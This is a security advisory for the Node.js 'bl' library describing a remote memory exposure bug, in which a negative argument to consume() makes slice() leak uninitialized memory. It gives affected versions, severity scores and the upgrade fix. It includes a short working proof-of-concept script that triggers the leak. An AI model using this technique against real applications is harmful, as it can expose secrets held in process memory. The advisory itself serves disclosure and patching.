Remote Memory Exposure Affecting bl package, versions >=2.2.0 <2.2.1 >=3.0.0 <3.0.1 >=4.0.0 <4.0.3 <1.2.3


0.0
high

Snyk CVSS

    Attack Complexity High
    Scope Changed
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.15% (50th percentile)
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NVD
6.5 medium
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Red Hat
6.5 medium

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  • Snyk ID SNYK-JS-BL-608877
  • published 28 Aug 2020
  • disclosed 27 Aug 2020
  • credit chalker

How to fix?

Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.

Overview

bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

PoC by chalker

const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}